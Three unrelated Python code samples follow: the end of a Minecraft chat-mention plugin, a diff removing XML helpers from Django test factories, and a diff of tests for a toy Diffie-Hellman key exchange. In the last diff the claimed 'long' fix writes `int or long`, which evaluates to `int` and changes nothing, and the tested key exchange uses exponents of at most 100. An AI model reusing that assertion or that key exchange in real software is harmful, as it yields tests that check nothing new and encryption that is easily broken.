    save_json_file("mentio", mentions)

@hook.event("player.AsyncPlayerChatEvent", "high")
def onChat(event):
    if not event.isCancelled():
        sender     = event.getPlayer()
        words      = event.getMessage().split(" ")
        recipients = event.getRecipients() # set of <Player>, may be a lazy or unmodifiable collection
        n = sender.getName()

        for recipient in list(recipients):
            recuid = uid(recipient)

            if recuid in mentions:
                keywords = mentions[uid(recipient)]
            else:
                # player
                keywords = [recipient.getName().lower(), stripcolors(recipient.getDisplayName()).lower()]

            rec_words = words[:] # copy
            for index, word in enumerate(rec_words):
                isMentioned = False

                for keyword in keywords:
                    if keyword in word.lower(): # is the keyword mentioned
                        isMentioned = True

                if isMentioned:
                    # join all color codes used upto this word
                    colors = "".join(colors_reg.findall("".join(words[:index+1])))
                    # highlight the word containing mention, then apply all previous color codes
                    rec_words[index] = colorify("&r&a&o") + stripcolors(word) + colorify("&r") + colors
                    # No need to
                    break

            # player was mentioned
            if rec_words != words and n in mentio_toggle:
                try:
                    recipients.remove(recipient) # don't send original message
                except:
                    # list might not be mutable, ignoring. Receiver will get the message twice
                    pass
                message = " "+" ".join([sender.getDisplayName(), arrow] + rec_words)
                msg(recipient, message, usecolor = False)
                recipient.playSound(recipient.getLocation(), "mob.chicken.plop", 1, 2)

def get_keywords(player):
    sender_id = uid(player)
    if sender_id in mentions.keys():
        keywords = mentions[sender_id]
    else:
        keywords = []
    return keywords

def add_keyword(sender, args):
    keywords = get_keywords(sender)
    new_word = stripcolors(args[1].lower())

    if len(keywords) >= max_amount:
        msg(sender, "&cYou are already listening for %s words! Try &6/mentio del <word>" % max_amount)
        return True

    if len(new_word) > 20:
        msg(sender, "&cThis word is longer than 20 characters. Pick a shorter one!")
        return True

    if new_word in keywords:
        msg(sender, "&cYou are already listening for this word! Try &6/mentio list")
        return True

    keywords.append(new_word)
    if keywords:
        mentions[uid(sender)] = keywords

    msg(sender, "&aYou are now listening for '&2%s&2'!" % new_word)
    saveMentions()
    return True

def del_keyword(sender, args):
    keywords = get_keywords(sender)
    del_word = stripcolors(args[1].lower())

    if not keywords:
        msg(sender, "&cYou are currently listening for no words! Try &6/mentio add <word>")
        return

    if del_word in keywords:
        keywords.remove(del_word)
        sender_id = uid(sender)
        if keywords:
            mentions[sender_id] = keywords
        elif sender_id in mentions:
            del mentions[sender_id]
        saveMentions()
        msg(sender, "&aYou are no longer listening for '&2%s&2'!" % del_word)
    else:
        msg(sender, "&cWe can't remove something that doesn't exist! Try &6/mentio list")

def show_help(player):
    msg(player, "&a/mentio add <word>")
    msg(player, "&a/mentio del <word>")
    msg(player, "&a/mentio list")
    msg(player, "&a/mentio toggle")

@hook.command("mentio")
def onListenCommand(sender, command, label, args):
    plugin_header(sender, "Mentio")

    argnum = len(args)
    if argnum:
        cmd = args[0].lower()

        # /mentio add <word>
        if argnum == 2 and cmd == "add":
            add_keyword(sender, args)

        # /mentio del <word>
        elif argnum == 2 and cmd == "del":
            del_keyword(sender, args)

        # /mentio list
        elif argnum == 1 and cmd == "list":
            msg(sender, "&aWords you're listening for:")
            keywords = get_keywords(sender)
            for word in keywords:
                msg(sender, "&c- &3%s" % word)
            if not keywords:
                msg(sender, "&cYou are currently listening for no words! Try &6/mentio add <word>")
        elif argnum == 1 and cmd == "toggle":
            n = sender.getName()
            if n in mentio_toggle:
                msg(sender,"&aNo longer listening.")
                mentio_toggle.remove(n)
            else:
                msg(sender,"&aNow listening.")
                mentio_toggle.append(n)
        else:
            show_help(sender)
    else:
        show_help(sender)
    return True<|endoftext|>


<commit_before>import uuid

import factory
import factory.fuzzy

from django.utils import timezone

from premis_event_service import models

UUID_TYPE = 'http://purl.org/net/untl/vocabularies/identifier-qualifiers/#UUID'

URL_TYPE = 'http://purl.org/net/untl/vocabularies/identifier-qualifiers/#URL'

EVENT_TYPES = [
    'http://purl.org/net/untl/vocabularies/preservationEvents/#replication',
    'http://purl.org/net/untl/vocabularies/preservationEvents/#fixityCheck'
]

EVENT_OUTCOMES = [
    'http://purl.org/net/untl/vocabularies/eventOutcomes/#success',
    'http://purl.org/net/untl/vocabularies/eventOutcomes/#failure'
]

AGENTS = [
    'http://example.com/agent/codareplicationverification',
    'http://example.com/agent/codavalidation',
]

class AgentFactory(factory.django.DjangoModelFactory):

    class Meta:
        model = models.Agent

    agent_identifier = factory.fuzzy.FuzzyText()
    agent_name = factory.fuzzy.FuzzyText()
    agent_type = factory.fuzzy.FuzzyChoice(v for k, v in models.AGENT_TYPE_CHOICES)
    agent_note = factory.fuzzy.FuzzyText()

class AgentXML(object):

    def __init__(self, agent):
        self.agent = agent

    @property
    def xml(self):
        xml = """<?xml version="1.0"?>
            <premis:agent xmlns:premis="info:lc/xmlns/premis-v2">
              <premis:agentIdentifier>
                <premis:agentIdentifierValue>{agent_identifier}</premis:agentIdentifierValue>
                <premis:agentIdentifierType>PES:Agent</premis:agentIdentifierType>
              </premis:agentIdentifier>
              <premis:agentName>{agent_name}</premis:agentName>
              <premis:agentType>{agent_type}</premis:agentType>
              <premis:agentNote>{agent_note}</premis:agentNote>
            </premis:agent>
        """
        return xml.format(**vars(self.agent))

class LinkObjectFactory(factory.django.DjangoModelFactory):

    class Meta:
        model = models.LinkObject

    object_identifier = factory.Sequence(lambda n: 'ark:/00001/coda{0}'.format(n))
    object_type = 'http://purl.org/net/untl/vocabularies/identifier-qualifiers/#ARK'
    object_role = None

class EventFactory(factory.django.DjangoModelFactory):

    class Meta:
        model = models.Event

    event_identifier = factory.Sequence(lambda n: str(uuid.uuid4()))
    event_identifier_type = UUID_TYPE

    event_type = factory.fuzzy.FuzzyChoice(EVENT_TYPES)
    event_date_time = factory.fuzzy.FuzzyDateTime(timezone.now())
    event_detail = factory.fuzzy.FuzzyText()
    event_outcome = factory.fuzzy.FuzzyChoice(EVENT_OUTCOMES)
    event_outcome_detail = factory.fuzzy.FuzzyText()

    linking_agent_identifier_type = URL_TYPE
    linking_agent_identifier_value = factory.fuzzy.FuzzyChoice(AGENTS)
    linking_agent_role = ''

    @factory.post_generation
    def linking_objects(self, create, extracted, count=1, **kwargs):
        """Post generation hook to add related LinkObject instances.

        Pass `linking_objects=True` to the create function to activate.
        """
        if create and extracted:
            linking_objects = LinkObjectFactory.create_batch(count)
            self.linking_objects.add(*linking_objects)

class EventXML(object):

    def __init__(self, event):
        self.event = event

    @property
    def entry_xml(self):
        xml = """<?xml version="1.0"?>
            <entry xmlns="http://www.w3.org/2005/Atom">
              <title>{event_identifier}</title>
              <id>http://example.com/APP/event/{event_identifier}/</id>
              <updated>2015-10-02T19:59:22Z</updated>
              <content type="application/xml">
                <premis:event xmlns:premis="info:lc/xmlns/premis-v2">
                  <premis:eventDetail>{event_detail}</premis:eventDetail>
                  <premis:eventOutcomeInformation>
                    <premis:eventOutcomeDetail>{event_outcome_detail}</premis:eventOutcomeDetail>
                    <premis:eventOutcome>{event_outcome}</premis:eventOutcome>
                  </premis:eventOutcomeInformation>
                  <premis:eventType>{event_type}</premis:eventType>
                  <premis:linkingAgentIdentifier>
                    <premis:linkingAgentIdentifierValue>{linking_agent_identifier_value}</premis:linkingAgentIdentifierValue>
                    <premis:linkingAgentIdentifierType>{linking_agent_identifier_type}</premis:linkingAgentIdentifierType>
                  </premis:linkingAgentIdentifier>
                  <premis:eventIdentifier>
                      <premis:eventIdentifierValue>{event_identifier}</premis:eventIdentifierValue>
                    <premis:eventIdentifierType>{event_identifier_type}</premis:eventIdentifierType>
                  </premis:eventIdentifier>
                  <premis:eventDateTime>{event_date_time}</premis:eventDateTime>
                  {linking_objects}
                </premis:event>
              </content>
            </entry>
        """
        return xml.format(
                linking_objects=self._linking_objects_xml(),
                **vars(self.event))

    @property
    def xml(self):
        xml = """<?xml version="1.0"?>
            <premis:event xmlns:premis="info:lc/xmlns/premis-v2">
              <premis:eventDetail>{event_detail}</premis:eventDetail>
              <premis:eventOutcomeInformation>
                <premis:eventOutcomeDetail>{event_outcome_detail}</premis:eventOutcomeDetail>
                <premis:eventOutcome>{event_outcome}</premis:eventOutcome>
              </premis:eventOutcomeInformation>
              <premis:eventType>{event_type}</premis:eventType>
              <premis:linkingAgentIdentifier>
                <premis:linkingAgentIdentifierValue>{linking_agent_identifier_value}</premis:linkingAgentIdentifierValue>
                <premis:linkingAgentIdentifierType>{linking_agent_identifier_type}</premis:linkingAgentIdentifierType>
              </premis:linkingAgentIdentifier>
              <premis:eventIdentifier>
                  <premis:eventIdentifierValue>{event_identifier}</premis:eventIdentifierValue>
                <premis:eventIdentifierType>{event_identifier_type}</premis:eventIdentifierType>
              </premis:eventIdentifier>
              <premis:eventDateTime>{event_date_time}</premis:eventDateTime>
              {linking_objects}
            </premis:event>
        """
        return xml.format(
                linking_objects=self._linking_objects_xml(),
                **vars(self.event))

    def _linking_objects_xml(self):
        template = """<premis:linkingObjectIdentifier>
            <premis:linkingObjectIdentifierType>{object_type}</premis:linkingObjectIdentifierType>
            <premis:linkingObjectIdentifierValue>{object_identifier}</premis:linkingObjectIdentifierValue>
            <premis:linkingObjectRole>{object_role}</premis:linkingObjectRole>
        </premis:linkingObjectIdentifier>
        """
        xml = ''
        for obj in self.event.linking_objects.all():
            xml += template.format(**vars(obj))
        return xml
<commit_msg>Remove the XML objects from the factories module.<commit_after>import uuid

import factory
import factory.fuzzy

from django.utils import timezone

from premis_event_service import models

UUID_TYPE = 'http://purl.org/net/untl/vocabularies/identifier-qualifiers/#UUID'

URL_TYPE = 'http://purl.org/net/untl/vocabularies/identifier-qualifiers/#URL'

EVENT_TYPES = [
    'http://purl.org/net/untl/vocabularies/preservationEvents/#replication',
    'http://purl.org/net/untl/vocabularies/preservationEvents/#fixityCheck'
]

EVENT_OUTCOMES = [
    'http://purl.org/net/untl/vocabularies/eventOutcomes/#success',
    'http://purl.org/net/untl/vocabularies/eventOutcomes/#failure'
]

AGENTS = [
    'http://example.com/agent/codareplicationverification',
    'http://example.com/agent/codavalidation',
]

class AgentFactory(factory.django.DjangoModelFactory):

    class Meta:
        model = models.Agent

    agent_identifier = factory.fuzzy.FuzzyText()
    agent_name = factory.fuzzy.FuzzyText()
    agent_type = factory.fuzzy.FuzzyChoice(v for k, v in models.AGENT_TYPE_CHOICES)
    agent_note = factory.fuzzy.FuzzyText()

class LinkObjectFactory(factory.django.DjangoModelFactory):

    class Meta:
        model = models.LinkObject

    object_identifier = factory.Sequence(lambda n: 'ark:/00001/coda{0}'.format(n))
    object_type = 'http://purl.org/net/untl/vocabularies/identifier-qualifiers/#ARK'
    object_role = None

class EventFactory(factory.django.DjangoModelFactory):

    class Meta:
        model = models.Event

    event_identifier = factory.Sequence(lambda n: str(uuid.uuid4()))
    event_identifier_type = UUID_TYPE

    event_type = factory.fuzzy.FuzzyChoice(EVENT_TYPES)
    event_date_time = factory.fuzzy.FuzzyDateTime(timezone.now())
    event_detail = factory.fuzzy.FuzzyText()
    event_outcome = factory.fuzzy.FuzzyChoice(EVENT_OUTCOMES)
    event_outcome_detail = factory.fuzzy.FuzzyText()

    linking_agent_identifier_type = URL_TYPE
    linking_agent_identifier_value = factory.fuzzy.FuzzyChoice(AGENTS)
    linking_agent_role = ''

    @factory.post_generation
    def linking_objects(self, create, extracted, count=1, **kwargs):
        """Post generation hook to add related LinkObject instances.

        Pass `linking_objects=True` to the create function to activate.
        """
        if create and extracted:
            linking_objects = LinkObjectFactory.create_batch(count)
            self.linking_objects.add(*linking_objects)
<|endoftext|>


<commit_before>#!/usr/bin/env python
# encoding: utf-8

"""
   Copyright 2014 CryptoIM Development Team

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

       http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.
"""

import cryptoim.key_exchange as k_ex
from nose.tools import ok_, eq_

def test_generate_random():
    """
        Test for key_exchange.generate_random
    """
    generate_random = k_ex.generate_random

    random_numero = generate_random(1, 100)
    eq_(type(random_numero), int)
    ok_(random_numero >= 1 and random_numero <= 100)

def test_prime_pick():
    """
        Test for key_exchange.prime_prick
    """
    prime_pick = k_ex.prime_pick

    prime = prime_pick()
    eq_(type(prime), int)

def test_base_pick():
    """
        Test for key_exchange.base_pick
    """
    base_pick = k_ex.base_pick

    base = base_pick()
    eq_(type(base), int)

def test_make_public_key():
    """
        Test for key_exchange.make_public_key
    """
    make_public_key = k_ex.make_public_key
    prime_pick = k_ex.prime_pick
    generate_random = k_ex.generate_random
    base_pick = k_ex.base_pick

    prime = prime_pick()
    base = base_pick()
    rnumber = generate_random(1, 100)

    public_key = make_public_key(prime, base, rnumber)
    manual_public_key = (base**rnumber)%prime

    eq_(type(public_key), int)
    eq_(public_key, manual_public_key)

def test_make_final_key():
    """
        Test for key_exchange.make_final_key
    """
    make_public_key = k_ex.make_public_key
    prime_pick = k_ex.prime_pick
    generate_random = k_ex.generate_random
    base_pick = k_ex.base_pick
    make_final_key = k_ex.make_final_key

    for i in range(100):
        a = generate_random(1, 100)
        b = generate_random(1, 100)
        p = prime_pick()
        g = base_pick()

        A = make_public_key(p, g, a)
        B = make_public_key(p, g, b)

        eq_(type(make_final_key(p, B, a)), int)
        eq_(type(make_final_key(p, A, b)), int)
        eq_(make_final_key(p, B, a), make_final_key(p, A, b))

<commit_msg>Fixed 'long' assertion error<commit_after>#!/usr/bin/env python
# encoding: utf-8

"""
   Copyright 2014 CryptoIM Development Team

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

       http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.
"""

import cryptoim.key_exchange as k_ex
from nose.tools import ok_, eq_

def test_generate_random():
    """
        Test for key_exchange.generate_random
    """
    generate_random = k_ex.generate_random

    random_numero = generate_random(1, 100)
    eq_(type(random_numero), int or long)
    ok_(random_numero >= 1 and random_numero <= 100)

def test_prime_pick():
    """
        Test for key_exchange.prime_prick
    """
    prime_pick = k_ex.prime_pick

    prime = prime_pick()
    eq_(type(prime), int or long)

def test_base_pick():
    """
        Test for key_exchange.base_pick
    """
    base_pick = k_ex.base_pick

    base = base_pick()
    eq_(type(base), int or long)

def test_make_public_key():
    """
        Test for key_exchange.make_public_key
    """
    make_public_key = k_ex.make_public_key
    prime_pick = k_ex.prime_pick
    generate_random = k_ex.generate_random
    base_pick = k_ex.base_pick

    prime = prime_pick()
    base = base_pick()
    rnumber = generate_random(1, 100)

    public_key = make_public_key(prime, base, rnumber)
    manual_public_key = (base**rnumber)%prime

    eq_(type(public_key), int or long)
    eq_(public_key, manual_public_key)

def test_make_final_key():
    """
        Test for key_exchange.make_final_key
    """
    make_public_key = k_ex.make_public_key
    prime_pick = k_ex.prime_pick
    generate_random = k_ex.generate_random
    base_pick = k_ex.base_pick
    make_final_key = k_ex.make_final_key

    for i in range(100):
        a = generate_random(1, 100)
        b = generate_random(1, 100)
        p = prime_pick()
        g = base_pick()

        A = make_public_key(p, g, a)
        B = make_public_key(p, g, b)

        eq_(type(make_final_key(p, B, a)), int or long)
        eq_(type(make_final_key(p, A, b)), int or long)
        eq_(make_final_key(p, B, a), make_final_key(p, A, b))

<|endoftext|>